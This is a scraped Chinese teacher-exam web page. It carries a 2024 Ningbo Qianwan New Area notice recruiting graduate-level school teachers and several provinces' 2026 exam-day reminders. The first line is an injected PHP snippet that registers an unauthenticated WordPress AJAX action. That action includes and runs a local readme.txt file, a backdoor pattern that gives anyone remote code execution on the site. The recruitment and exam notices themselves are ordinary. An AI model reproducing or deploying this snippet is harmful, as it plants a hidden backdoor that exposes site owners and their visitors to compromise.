if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江宁波前湾新区2024年中小学事业编制教师(研究生专场)招聘-全国教师资格考试网

浙江宁波前湾新区2024年中小学事业编制教师(研究生专场)招聘

为推进宁波前湾新区教育人才建设,经研究,决定公开招聘2024年事业编制中小学教师21名,现将招聘具体事项公告如下:

一、招聘岗位及指标

招聘人数:21名。

具体招聘岗位、指标及专业要求等详见《宁波前湾新区公开招聘2024年事业编制中小学教师(研究生专场)岗位指标及报考专业要求》(详见附件1)(相关附件扫描文末二维码)。

二、招聘原则

招聘工作坚持公开、平等、竞争、择优原则,按照德才兼备的用人标准,采取公开报名、统一考试和择优聘用的办法进行,通过初试、面试、体检和考核等程序面向社会公开招聘。

三、考试时间、地点

2024年7月,有关招聘信息请随时关注宁波前湾新区管委会网页:http://www.qianwan.gov.cn/(宁波前湾新区管委会网站—政务公开—通知公告)。

四、招聘对象

报考对象需同时符合以下条件:

1.普通高等院校2022届、2023届、2024届硕士研究生及以上学历毕业生;

2.生源地、户籍不限;

3.所学专业符合报考岗位要求(本科或研究生所学专业符合其中之一即可,见附件1);

4.大学期间(本科或研究生)曾获省级师范技能大赛三等奖及以上奖项或院级及以上优秀毕业生、三好学生、优秀学生、优秀学生(团)干部荣誉、三等及以上奖学金或大学期间(本科或研究生)专业总绩点排名前40%。若本科为师范类专业的,专业总绩点排名放宽到前50%。

五、招聘条件

1.所有报考对象需具有中华人民共和国国籍,遵守国家法律、法规,无违纪处分及违法记录,身心健康。

2.硕士研究生学历人员年龄须在30周岁以下(1994年7月1日及以后出生),博士研究生年龄在35周岁以下(1989年7月1日及以后出生)。

3.本次招聘对象需同时取得相应学历学位证书,所涉及的学历学位证书(含境外)、户籍、荣誉等取得时间的计算统一截至本公告发布之日(含),其中国内高校2024届毕业生须在2024年7月31日前取得相应学历学位证书。

4.2021年9月至2024年8月毕业的国(境)外留学回国(境)人员可等同于2022—2024届毕业生。2024年毕业生报考时仍未毕业的可凭国(境)外学校学籍证明报名,须于2024年12月31日前取得国家教育部学历学位认证书(届时未取得的将予解聘)。

5.网络学院、成人教育学院毕业生不列入本次招考范围。

6.前湾新区教育文体和旅游局下属各学校事业编制教师不列入本次招考范围。

六、招聘程序和办法

(一)报名

1.报名要求

此次报名采取网络报名方式。网上报名时间为7月15日9:00—7月16日16:00。报考者扫码填报相关信息。请仔细阅读有关内容,如实填写有关信息(信息不实或不符招录条件的,一经发现,取消报考、招录资格)。如有重复报名,工作人员初审时以报考人员最后一次填写信息为准。逾期不再受理报名。考生每人限报一个岗位,否则视作无效报名。

浙江宁波前湾新区2024年中小学事业编制教师(研究生专场)招聘

扫描上方二维码报名

(二)考试

考试采用初试、面试形式,具体要求请随时关注http://www.qianwan.gov.cn/。

1. 现场资格审核

初试当日上午(7月18日左右)进行现场资格复审,具体事宜请届时关注http://www.qianwan.gov.cn/(宁波前湾新区管委会网站—政务公开—通知公告)。

参加资格复审的考生,根据资格条件要求,提供相应的证明资料。各类资料需携带原件及复印件,并按下列顺序整理:

①《宁波前湾新区教育文体和旅游局招聘2024年事业编制教师(研究生专场)报名表》(见附件2),贴好近期一寸照片。

②身份证、户口簿(首页、户主页、本人页);

③教育部学籍在线验证报告(2024年毕业生提供);

④就业推荐表和就业协议书(2024年毕业生提供);

⑤本科毕业证书(按本科专业报考者提供);

⑥研究生毕业证书及相应学位证书(2022年、2023年毕业生提供),国境外留学回国(境)或国内合资办学颁发国外学历证书的人员,还需提供教育部中国留学服务中心出具的境外学历、学位认证书;

⑦《教育部学历证书电子注册备案表》(通过中国高等教育学历信息网http://www.chsi.com.cn打印)

⑧与招聘条件相关的其他证件(如师范专业证明等)。

以上证件和证明材料需随带原件并上交复印件。

资格审核通过者参加初试;证件不全或提供证件与报考资格条件不相符者,不能通过报名资格审核。

现场资格审核结束后,报考同一岗位的资格审核通过人数与招聘指标数之比不能低于3:1,通过资格审核人数与招聘计划数未达到比例的,视情核减或取消招聘岗位指标。核减或取消招聘指标的信息将在宁波前湾新区网站及时予以公布。

报考人员必须在规定时间内到指定地点参加现场资格审核,逾期视作自动放弃应聘资格。

2.初试

时间初定为7月18日左右,地点为前湾新区内,通过资格审查的报考人员凭本人身份证参加初试,具体事项另行通知。初试形式为结构化面试,主要考察应聘者教育教学理念、口头表达能力、应变能力、分析能力、回答问题准确性和举止仪表等。初试采用百分制,60分为合格分,不足60分者淘汰,未准时参加初试的视作自动放弃应聘资格。

3.面试

时间初定为7月19日左右,面试具体事宜请届时关注http://www.qianwan.gov.cn/(宁波前湾新区管委会网站—政务公开—通知公告)。

参加对象:在初试合格人员中,根据初试成绩按招聘岗位指标1:5的比例从高分到低分确定面试对象,比例内最后一名分数并列的全部入围,不足比例的按实际人数入围。

面试形式为试讲,面试满分100分,成绩不足60分者淘汰,不予录取。试讲内容为相应学段学科内容。

各岗位拟录用人员确定时根据报考岗位按面试分数从高分到低分的原则确定(如面试分出现并列时,按照初试成绩从高分到低分确定拟录用人员,若各项成绩均相等,则采用加试的方式确定拟录用人员)。

(三)签约、体检、考察与录用

1.签约

根据各岗位考生总成绩从高分到低分按岗位指标1∶1的比例确定拟录用人员,并签约。若有放弃签约造成岗位空缺的,由前湾新区教育文体和旅游局确定是否递补,递补人员名单在报考本岗位的考试合格人员中按照面试成绩从高分到低分顺序确定(如面试分出现并列时,按照初试成绩从高分到低分确定递补人员,若各项成绩均相等,则采用加试的方式确定递补人员)。

2.体检

体检安排在前湾新区附近区县,体检时间为面试结束后次日(具体另行通知),所有进入体检名单的考生均需参加体检。体检按照《浙江省教师资格认定体检工作实施办法(试行)》执行。体检不合格者,所签协议自动解除;放弃体检或不在规定时间内参加体检者,所签协议自动解除并视作违约。体检费用由考生本人承担。

3.考察

考核在体检合格人员中进行。考核办法参照公务员录用考察有关规定,主要考核思想政治表现、道德品质、业务能力、工作实绩等情况。考察不合格者不予录用。

4.录用

(1)拟录用人员逾期不按规定报到的,或不能在规定时间内前取得相应学历、学位等相关证书的,或不能在2024年12月31日前将人事档案调至宁波前湾新区教育文体和旅游局的取消录用资格。拟录用人员取消录用资格的空缺指标不再递补。

(2)拟录用人员个人档案中有不符合录用规定的,取消录用资格。

(3)新录用的人员按有关规定与学校签订聘用合同,并实行试用期,试用期满经考核合格,能胜任教育教学工作的,与学校签订正式聘用合同;如试用期满经考核不能胜任教育教学工作的或两年内不能取得相应教师资格证的,解除聘用关系。

(4)新录用人员中属农业家庭户的,必须在试用期间,办理相关迁户手续;没有办理的,在试用期期满时,解除聘用合同。

(5)新录用人员的工资福利待遇按有关规定执行。

(6)新录用人员由宁波前湾新区教育文体和旅游局统一分配到下属中小学工作并至少服务满8年(包括试用期)。

七、其他

(一)有关招聘信息请随时关注http://www.qianwan.gov.cn/(宁波前湾新区管委会网站—政务公开—通知公告);

(二)在体检、签约环节若因考生放弃体检、体检不合格、放弃签约等原因,出现岗位空缺的,由宁波前湾新区教育文体和旅游局研究确定是否递补,若递补,递补人员在本岗位面试合格人员中按照总成绩从高分到低分顺序确定(如总分出现并列时,按照面试成绩、初试成绩的优先级顺序和单项成绩从高分到低分确定递补人员,若各项成绩均相等,则采用加试的方式确定递补人员)。其它各环节出现名额空缺的,不再递补。

(三)其他未尽事项由宁波前湾新区教育文体和旅游局确定;

(四)联系电话:0574-89280385,89280376;

(五)监督电话:前湾新区教育文体和旅游局综合科:0574-89280299。

宁波前湾新区教育文体和旅游局

2024年7月8日

附件1.宁波前湾新区公开招聘2024年事业编制中小学教师(研究生专场)计划表

附件2.宁波前湾新区2024年事业编制教师招聘(研究生专场)应聘报名表

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部